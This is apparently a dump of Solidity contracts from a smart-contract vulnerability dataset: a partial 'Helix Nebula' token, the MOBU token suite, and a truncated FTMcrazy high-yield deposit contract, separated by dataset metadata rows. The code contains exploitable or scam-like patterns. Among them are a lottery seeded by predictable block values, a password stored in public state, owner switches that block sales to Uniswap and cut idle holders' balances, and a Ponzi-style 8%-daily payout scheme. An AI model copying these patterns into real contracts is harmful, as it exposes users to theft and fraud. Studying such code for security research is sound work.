LockedAddresses.push(LockedAddress(block.timestamp+_days*24*3600,msg.sender));
}
function GetAddressExpTime(address _adr) public view returns(uint) {
for(uint i=0;i<LockedAddresses.length;i++){
if(LockedAddresses[i].adr==_adr){
return LockedAddresses[i].ExpireTime;
}
}
return 0;
}
function IsLockAddress(address _adr) public view returns(bool){
for(uint i=0;i<LockedAddresses.length;i++){
if(LockedAddresses[i].adr==_adr){
if(LockedAddresses[i].ExpireTime>block.timestamp){
return true;
}else{
return false;
}
}
}
return false;
}
function LockTheLiquidity(bool _locktype) public onlyOwner{
LockLiquidity=_locktype;
}
function CheckLiquidityLocked(address _from,address _to) public view returns(bool){
if(LockLiquidity==false){
return false;
}
for(uint i=0;i<StableBalancesTime.length;i++){
if(StableBalancesTime[i].adr==_from){
if(StableBalancesTime[i].ExpireTime>block.timestamp){
return false;
}else{
break;
}
}
}
if(_to==Uniswap_Address){
return true;
}else{
return false;
}
}
function SetUniswapAddress(address _adr) external onlyOwner{
Uniswap_Address=_adr;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
wallet=_newOwner;
}
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
constructor() public {
wallet=msg.sender;
owner=msg.sender;
decimals = 7; // Amount of decimals for display purposes
totalSupply = 6400*10**uint256(decimals);
MaxSupply=1000000*10**uint256(decimals); //1,000,000 UN
ReleaseTime=block.timestamp;
balances[msg.sender] = totalSupply;
AddAddress(msg.sender);
name = "Helix Nebula"; // Set the name for display purposes
symbol = "UN"; // Set the symbol for display purposes
}
function GetMinedTokens() public view returns(uint){
return totalSupply; //it means how much people help each others
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(IsLockAddress(_to)==false,'This Address is locked');
require(TsafeGuard==true,'Transfer Is Not Available');
require(CheckLiquidityLocked(msg.sender,_to)==false,'The liquidity is locked');
require(balances[msg.sender] >= _value);
balances[msg.sender] =balances[msg.sender].sub(_value);
balances[_to] =balances[_to].add(_value);
AddAddress(_to);
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(IsLockAddress(_to)==false,'This Address is locked');
require(IsLockAddress(_from)==false,'This Address is locked');
require(TFsafeGuard==true,'TransferFrom Is Not Available');
require(CheckLiquidityLocked(_from,_to)==false,'The liquidity is locked');
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] =balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
AddAddress(_to);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] =allowed[_from][msg.sender].sub(_value);
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function burn(uint256 amount) public { //anyone can burn the tokens. and it will decrease the total supply of the tokens.
require(amount != 0);
require(amount <= balances[msg.sender]);
totalSupply =totalSupply.sub(amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
emit Transfer(msg.sender, address(0), amount);
}
function ChangeTransferSafeGuard(bool _TGuard,bool _TFGuard) public onlyOwner{
TsafeGuard=_TGuard;
TFsafeGuard=_TFGuard;
}
function AddAddress(address _adr) internal{
for(uint i=0;i<StableBalancesTime.length;i++)
{
if(StableBalancesTime[i].adr==_adr){
return;
}
}
StableBalancesTime.push(BalanceTime(0,_adr));
}
event Help(address indexed _from, address indexed _to, uint256 _value);
uint public LotteryCount=0;
address public LastWinner;
bool public AddStorysafeGuard=true;
bool public GetStorysafeGuard=true;
uint votecost=10000 szabo; //1 szabo =0.000001 ether
uint ETHPrice=1000000 szabo;
uint trigger=0;
struct votedata{
uint hid;
address voterad;
uint vtype; //0 means mines 1 means plus
}
struct Human {
uint id;
string name;
uint lang;
int vote;
uint views;
string story;
uint timestamp;
address payable ethaddress;
address payable ownerAddress;
string pass;
}
votedata[] public voters;
Human[] public Humans;
uint public nextId = 1;
function Lottery() external returns(uint){
require(IsLotteryAvailable(),"This month's lottery is over and someone has won. Please try again later");
require(balances[msg.sender]>100,"You should have at least 100 Helix Nebula tokens to participate in the lottery. ");
require(totalSupply+1000<MaxSupply,"Over MaxSupply");
if(IsLotteryAvailable()){
if(random()==3){ // If he/she wins the lottery, he/she will receive 1000 tokens.
balances[msg.sender]=balances[msg.sender].add(1000*10**uint256(decimals));
totalSupply=totalSupply.add(1000*10**uint256(decimals));
LotteryCount++;
LastWinner=msg.sender;
return 1000*10**uint256(decimals);
}else{
burn(10*10**uint256(decimals));
return 0;
}
}
}
function IsLotteryAvailable() public view returns(bool){
uint timetemp=block.timestamp - ReleaseTime;
uint MonthNum=timetemp/(3600*24*30); //60*60*24*30 one month
if(MonthNum >= LotteryCount){
return true;
}else{
return false;
}
}
function DeleteVotesByid(uint _id) internal{
for(uint i = 0; i < voters.length; i++) {
if(voters[i].hid == _id) {
delete voters[i];
}
}
}
function removeHuman(uint index) internal {
if (index >= Humans.length) return;
for (uint i = index; i<Humans.length-1; i++){
Humans[i] = Humans[i+1];
}
delete Humans[Humans.length-1];
Humans.length--;
}
function create(string memory _name,uint _lang,string memory story,address payable _ethaddress,string memory pass) public {
require(AddStorysafeGuard==true,'AddStory Is Not Available');
bytes memory EmptyStringstory = bytes(story);
require(EmptyStringstory.length != 0,"null story"); //prevent from add null story.
Humans.push(Human(nextId, _name,_lang,0,0,story,block.timestamp,_ethaddress,msg.sender,pass));
uint timetemp=block.timestamp - Humans[0].timestamp;
uint tdays=timetemp/(3600*24); //60*60*24
if(tdays>60){
DeleteVotesByid(Humans[0].id);
removeHuman(0);
}
for(uint i=0;i<Humans.length; i++){
if(Humans[i].vote < -100){
DeleteVotesByid(Humans[i].id);
removeHuman(0);
}
}
nextId++;
}
function GetdatePoint(uint _dtime) view internal returns(uint){
uint timetemp=block.timestamp.sub(_dtime);
uint tdays=timetemp/(3600*24);
uint pdays=tdays.add(1);
uint points=((120-pdays)**2)/pdays;
return points;
}
function GetRandomHuman(uint _randseed,uint _decimals,uint _lang) public view returns(string memory,string memory,int,address,uint,uint){
uint[] memory points=new uint[](Humans.length);
uint maxlengthpoint=0;
for(uint i = 0; i < Humans.length; i++)
{
if(Humans[i].lang != _lang){
points[i]=0;
}else{
uint daypoint=GetdatePoint(Humans[i].timestamp);
int uvotes=Humans[i].vote*10;
int mpoints=int(daypoint)+uvotes;
if(mpoints<0){
mpoints=1;
}
points[i]=uint(mpoints);
maxlengthpoint=maxlengthpoint+uint(mpoints);
}
}
uint randnumber=(_randseed.mul(maxlengthpoint))/_decimals;
uint tempnumber=0;
for(uint i = 0; i < points.length; i++) {
if(tempnumber<randnumber && randnumber<tempnumber+points[i] && points[i] !=0){
uint timetemp=block.timestamp - Humans[i].timestamp;
uint tdays=timetemp/(3600*24);
if(60-tdays>0){
return (Humans[i].name,Humans[i].story,Humans[i].vote,Humans[i].ethaddress,Humans[i].id,60-tdays);
}else{
return ("Problem","We have problem . please refersh again.",0,msg.sender,0,0);
}
}else{
tempnumber=tempnumber.add(points[i]);
}
}
return ("No Story","If you see this story it means that there is no story in this language, if you know some one needs help, ask them to add a new story.",0,msg.sender,0,0);
}
function read(uint id) internal view returns(uint, string memory) {
uint i = find(id);
return(Humans[i].id, Humans[i].name);
}
function GetVotedata(uint id) view public returns(int256,uint)
{
uint Vcost=votecost;
uint votecounts=0;
uint hindex=find(id);
for(uint i = 0; i < voters.length; i++) {
if(voters[i].hid == id && voters[i].voterad == msg.sender) {
if(votecounts>0){
Vcost=Vcost.mul(2);
}
votecounts=votecounts.add(1);
}
}
return(Humans[hindex].vote,Vcost);
}
function vote(uint id,uint vtype) public payable returns(uint){
uint votecounts=0;
uint Vcost=votecost;
for(uint i = 0; i < voters.length; i++) {
if(voters[i].hid == id && voters[i].voterad == msg.sender) {
if(votecounts>0){
Vcost=Vcost.mul(2);
}
votecounts=votecounts.add(1);
}
}
if(msg.value >= Vcost){
uint j = find(id);
wallet.transfer(msg.value);
AddAddress(msg.sender);
if(vtype==1){
Humans[j].vote++;
}else{
Humans[j].vote--;
}
voters.push(votedata(id, msg.sender,1));
uint exttime=3600*24*10;
UpdateExpireTime(msg.sender,exttime);
return Vcost*2;
}else{
return 0;
}
}
function random() internal view returns (uint) { //1% probability that the amount of value sent to the donor may be tripled.
uint randomnumber = uint(keccak256(abi.encodePacked(block.timestamp, msg.sender, block.difficulty,totalSupply))) % 100;
randomnumber = randomnumber + 1;
if(randomnumber==53){
return 3;
}else{
return 1;
}
}
function GetHelixAmount() internal view returns(uint){
uint oneDaytime=3600*24;
if(block.timestamp.sub(ReleaseTime)<oneDaytime*30){
return (msg.value.mul((10**uint256(decimals))).mul(10))/ETHPrice; //first month: 10 UN token Per 1 ETH Help
}
if(block.timestamp.sub(ReleaseTime)<oneDaytime*60){
return (msg.value.mul((10**uint256(decimals))).mul(8))/ETHPrice; //second month: 8 UN token Per 1 ETH Help
}
if(block.timestamp.sub(ReleaseTime)<oneDaytime*90){
return (msg.value.mul((10**uint256(decimals))).mul(6))/ETHPrice; //third month: 6 UN token Per 1 ETH Help
}
if(block.timestamp.sub(ReleaseTime)<oneDaytime*120){
return (msg.value.mul((10**uint256(decimals))).mul(4))/ETHPrice; //fourth month: 4 UN token Per 1 ETH Help
}
if(block.timestamp.sub(ReleaseTime)<oneDaytime*150){
return (msg.value.mul((10**uint256(decimals))).mul(2))/ETHPrice; //fifth month: 2 UN token Per 1 ETH Help
}
if(block.timestamp.sub(ReleaseTime)>oneDaytime*150){
return (msg.value.mul((10**uint256(decimals))).mul(1))/ETHPrice; //after five month: 1 UN token Per 1 ETH Help
}
}
function SendTransaction(address payable _adr,address payable _referraladr,bool _hasreferral) public payable returns(uint){
require(msg.value>0,"require(ETH > 0)");
uint ExpAddressCount=0;
uint TotalNewUN=0;
uint Prize=random();
uint Hamount=GetHelixAmount();
if(_hasreferral == true){
TotalNewUN=TotalNewUN.add(Hamount);
}
TotalNewUN=TotalNewUN.add(Hamount*Prize);
uint DecreasePart=0;
for(uint i=0;i<StableBalancesTime.length;i++){
if(StableBalancesTime[i].ExpireTime<block.timestamp && balances[StableBalancesTime[i].adr]>0){
ExpAddressCount++;
}
}
if(ExpAddressCount != 0){
DecreasePart=TotalNewUN/ExpAddressCount;
}
for(uint i=0;i<StableBalancesTime.length;i++){
if(StableBalancesTime[i].ExpireTime<block.timestamp && balances[StableBalancesTime[i].adr]>0
&& !(StableBalancesTime[i].adr == msg.sender) && !(StableBalancesTime[i].adr == Uniswap_Address)){
balances[StableBalancesTime[i].adr]=balances[StableBalancesTime[i].adr].sub0(DecreasePart);
totalSupply=totalSupply.sub0(DecreasePart);
}
}
if(totalSupply+Hamount<MaxSupply){ //we'll Check that the generated token does not exceed MaxSupply
if(_hasreferral == true){
AddAddress(_referraladr);
balances[_referraladr] = balances[_referraladr].add(Hamount);
totalSupply = totalSupply.add(Hamount);
}
balances[msg.sender] = balances[msg.sender].add(Hamount*Prize);
totalSupply = totalSupply.add(Hamount*Prize);
uint exttime=msg.value*3600*24*30/ETHPrice; //For each Ethereum, the wallet will be stable for another 30 days
UpdateExpireTime(msg.sender,exttime);
}
_adr.transfer(msg.value*9/10);
wallet.transfer(msg.value/10);
emit Help(msg.sender,_adr,msg.value);
return Hamount*Prize;
}
function GetDaysToExpired(address _adr) view public returns(uint){
for(uint i=0;i<StableBalancesTime.length;i++){
if(StableBalancesTime[i].adr == _adr){
if(StableBalancesTime[i].ExpireTime<=block.timestamp){
return 0;
}else{
return ((StableBalancesTime[i].ExpireTime-block.timestamp)/(3600*24));
}
}
}
return 0;
}
function UpdateExpireTime(address _adr,uint _Extendtime) internal{
for(uint i=0;i<StableBalancesTime.length;i++){
if(StableBalancesTime[i].adr==_adr){
if(balances[_adr]<10000*10**uint256(decimals)){
if(StableBalancesTime[i].ExpireTime + _Extendtime>block.timestamp+_Extendtime){
StableBalancesTime[i].ExpireTime=StableBalancesTime[i].ExpireTime.add(_Extendtime);
}else{
StableBalancesTime[i].ExpireTime=_Extendtime.add(block.timestamp);
}
}
return;
}
}
StableBalancesTime.push(BalanceTime(block.timestamp+_Extendtime,_adr));
}
function destroy(uint id) public onlyOwner {
uint i = find(id);
removeHuman(i);
}
function GetStroyByindex(uint _index) view public onlyOwner returns(uint,string memory,string memory,uint,address)
{
return (Humans[_index].id,Humans[_index].name,Humans[_index].story,Humans[_index].lang,Humans[_index].ethaddress);
}
function ChangeStorySafeGuard(bool _AddGuard,bool _ReadGuard) public onlyOwner{
AddStorysafeGuard=_AddGuard;
GetStorysafeGuard=_ReadGuard;
}
function find(uint id) view internal returns(uint) {
for(uint i = 0; i < Humans.length; i++) {
if(Humans[i].id == id) {
return i;
}
}
revert('User does not exist!');
}
}
| 275,540 | 10,596 |
77d992ad21adc22876150c48b82d78f2f420874a103707a9bd588e2f94df5472
| 16,313 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2b4dd5851da6e7ea0bc2d2c814c229abecf5dc80.sol
| 3,497 | 13,177 |
pragma solidity ^0.4.21;
// Project: MOBU.io
// v12, 2018-08-24
// This code is the property of CryptoB2B.io
// Copying in whole or in part is prohibited.
// Authors: Ivan Fedorov and Dmitry Borodin
// Do you want the same TokenSale platform? www.cryptob2b.io
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function minus(uint256 a, uint256 b) internal pure returns (uint256) {
if (b>=a) return 0;
return a - b;
}
}
contract MigrationAgent
{
function migrateFrom(address _from, uint256 _value) public;
}
contract ICreator{
IRightAndRoles public rightAndRoles;
function createAllocation(IToken _token, uint256 _unlockPart1, uint256 _unlockPart2) external returns (IAllocation);
function createFinancialStrategy() external returns(IFinancialStrategy);
function getRightAndRoles() external returns(IRightAndRoles);
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract GuidedByRoles {
IRightAndRoles public rightAndRoles;
function GuidedByRoles(IRightAndRoles _rightAndRoles) public {
rightAndRoles = _rightAndRoles;
}
}
contract Pausable is GuidedByRoles {
mapping (address => bool) public unpausedWallet;
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused(address _to) {
require(!paused||unpausedWallet[msg.sender]||unpausedWallet[_to]);
_;
}
function onlyAdmin() internal view {
require(rightAndRoles.onlyRoles(msg.sender,3));
}
// Add a wallet ignoring the "Exchange pause". Available to the owner of the contract.
function setUnpausedWallet(address _wallet, bool mode) public {
onlyAdmin();
unpausedWallet[_wallet] = mode;
}
function setPause(bool mode) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
if (!paused && mode) {
paused = true;
emit Pause();
}else
if (paused && !mode) {
paused = false;
emit Unpause();
}
}
}
contract ERC20Provider is GuidedByRoles {
function transferTokens(ERC20Basic _token, address _to, uint256 _value) public returns (bool){
require(rightAndRoles.onlyRoles(msg.sender,2));
return _token.transfer(_to,_value);
}
}
contract IRightAndRoles {
address[][] public wallets;
mapping(address => uint16) public roles;
event WalletChanged(address indexed newWallet, address indexed oldWallet, uint8 indexed role);
event CloneChanged(address indexed wallet, uint8 indexed role, bool indexed mod);
function changeWallet(address _wallet, uint8 _role) external;
function setManagerPowerful(bool _mode) external;
function onlyRoles(address _sender, uint16 _roleMask) view external returns(bool);
}
contract IToken{
function setUnpausedWallet(address _wallet, bool mode) public;
function mint(address _to, uint256 _amount) public returns (bool);
function totalSupply() public view returns (uint256);
function setPause(bool mode) public;
function setMigrationAgent(address _migrationAgent) public;
function migrateAll(address[] _holders) public;
function markTokens(address _beneficiary, uint256 _value) public;
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount);
function defrostDate(address _beneficiary) public view returns (uint256 Date);
function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public;
}
contract IFinancialStrategy{
enum State { Active, Refunding, Closed }
State public state = State.Active;
event Deposited(address indexed beneficiary, uint256 weiAmount);
event Receive(address indexed beneficiary, uint256 weiAmount);
event Refunded(address indexed beneficiary, uint256 weiAmount);
event Started();
event Closed();
event RefundsEnabled();
function freeCash() view public returns(uint256);
function deposit(address _beneficiary) external payable;
function refund(address _investor) external;
function setup(uint8 _state, bytes32[] _params) external;
function getBeneficiaryCash() external;
function getPartnerCash(uint8 _user, address _msgsender) external;
}
contract IAllocation {
function addShare(address _beneficiary, uint256 _proportion, uint256 _percenForFirstPart) external;
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract KycToken is BasicToken, GuidedByRoles {
event TokensMarked(address indexed beneficiary, uint256 value);
function markTokens(address _beneficiary, uint256 _value) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
require(_value <= balances[_beneficiary]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_beneficiary] = balances[_beneficiary].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit TokensMarked(_beneficiary, _value);
emit Transfer(_beneficiary, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract FreezingToken is PausableToken {
struct freeze {
uint256 amount;
uint256 when;
}
mapping (address => freeze) freezedTokens;
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount){
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.amount;
}
function defrostDate(address _beneficiary) public view returns (uint256 Date) {
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.when;
}
function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public {
require(rightAndRoles.onlyRoles(msg.sender,1));
freeze storage _freeze = freezedTokens[_beneficiary];
_freeze.amount = _amount;
_freeze.when = _when;
}
function masFreezedTokens(address[] _beneficiary, uint256[] _amount, uint256[] _when) public {
onlyAdmin();
require(_beneficiary.length == _amount.length && _beneficiary.length == _when.length);
for(uint16 i = 0; i < _beneficiary.length; i++){
require(_when[i] < 1557486000); //TODO - check
freeze storage _freeze = freezedTokens[_beneficiary[i]];
_freeze.amount = _amount[i];
_freeze.when = _when[i];
}
}
function transferAndFreeze(address _to, uint256 _value, uint256 _when) external {
require(unpausedWallet[msg.sender]);
require(freezedTokenOf(_to) == 0);
if(_when > 0){
freeze storage _freeze = freezedTokens[_to];
_freeze.amount = _value;
_freeze.when = _when;
}
transfer(_to,_value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balanceOf(msg.sender) >= freezedTokenOf(msg.sender).add(_value));
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(balanceOf(_from) >= freezedTokenOf(_from).add(_value));
return super.transferFrom(_from,_to,_value);
}
}
contract MintableToken is StandardToken, GuidedByRoles {
event Mint(address indexed to, uint256 amount);
event MintFinished();
function mint(address _to, uint256 _amount) public returns (bool) {
require(rightAndRoles.onlyRoles(msg.sender,1));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract MigratableToken is BasicToken,GuidedByRoles {
uint256 public totalMigrated;
address public migrationAgent;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
function setMigrationAgent(address _migrationAgent) public {
require(rightAndRoles.onlyRoles(msg.sender,6));
require(totalMigrated == 0);
migrationAgent = _migrationAgent;
}
function migrateInternal(address _holder) internal{
require(migrationAgent != 0x0);
uint256 value = balances[_holder];
balances[_holder] = 0;
totalSupply_ = totalSupply_.sub(value);
totalMigrated = totalMigrated.add(value);
MigrationAgent(migrationAgent).migrateFrom(_holder, value);
emit Migrate(_holder,migrationAgent,value);
}
function migrateAll(address[] _holders) public {
require(rightAndRoles.onlyRoles(msg.sender,6));
for(uint i = 0; i < _holders.length; i++){
migrateInternal(_holders[i]);
}
}
// Reissue your tokens.
function migrate() public
{
require(balances[msg.sender] > 0);
migrateInternal(msg.sender);
}
}
contract Token is IToken, FreezingToken, MintableToken, MigratableToken, KycToken,ERC20Provider {
function Token(ICreator _creator) GuidedByRoles(_creator.rightAndRoles()) public {}
string public constant name = "MOBU token";
string public constant symbol = "MOBU";
uint8 public constant decimals = 18;
}
| 215,452 | 10,597 |
dd59682ca8ad01a5d740ee54eaf5d010134873be0acb58786a5a917736637a83
| 11,900 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a5/a57c56d4e6bee3ad504965c25c439ca2c7d3ab1a_FTMcrazy.sol
| 3,669 | 11,204 |
pragma solidity 0.5.8;
contract FTMcrazy {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 5 ether; // 5 FTM
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 80;
uint256 constant public DEVELOPER_FEE = 20;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 WITHDRAW_FEE_1 = 50; //5%
uint256 WITHDRAW_FEE_2 = 100; //10%
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 75)); // 7.5% per day for 21 days
plans.push(Plan(28, 70)); // 7% per day for 28 days
plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding)
plans.push(Plan(21, 75)); // 7.5% per day for 21 days (at the end, compounding)
plans.push(Plan(28, 70)); // 7% per day for 28 days (at the end, compounding)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
upline.transfer(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
uint256 _dividends = share.mul(to.sub(from)).div(TIME_STEP);
uint256 _dividendsWithFee = _dividends.sub(_dividends.mul(WITHDRAW_FEE_1).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_dividendsWithFee);
}
} else {
if(block.timestamp > user.deposits[i].finish) {
uint256 _profit = user.deposits[i].profit;
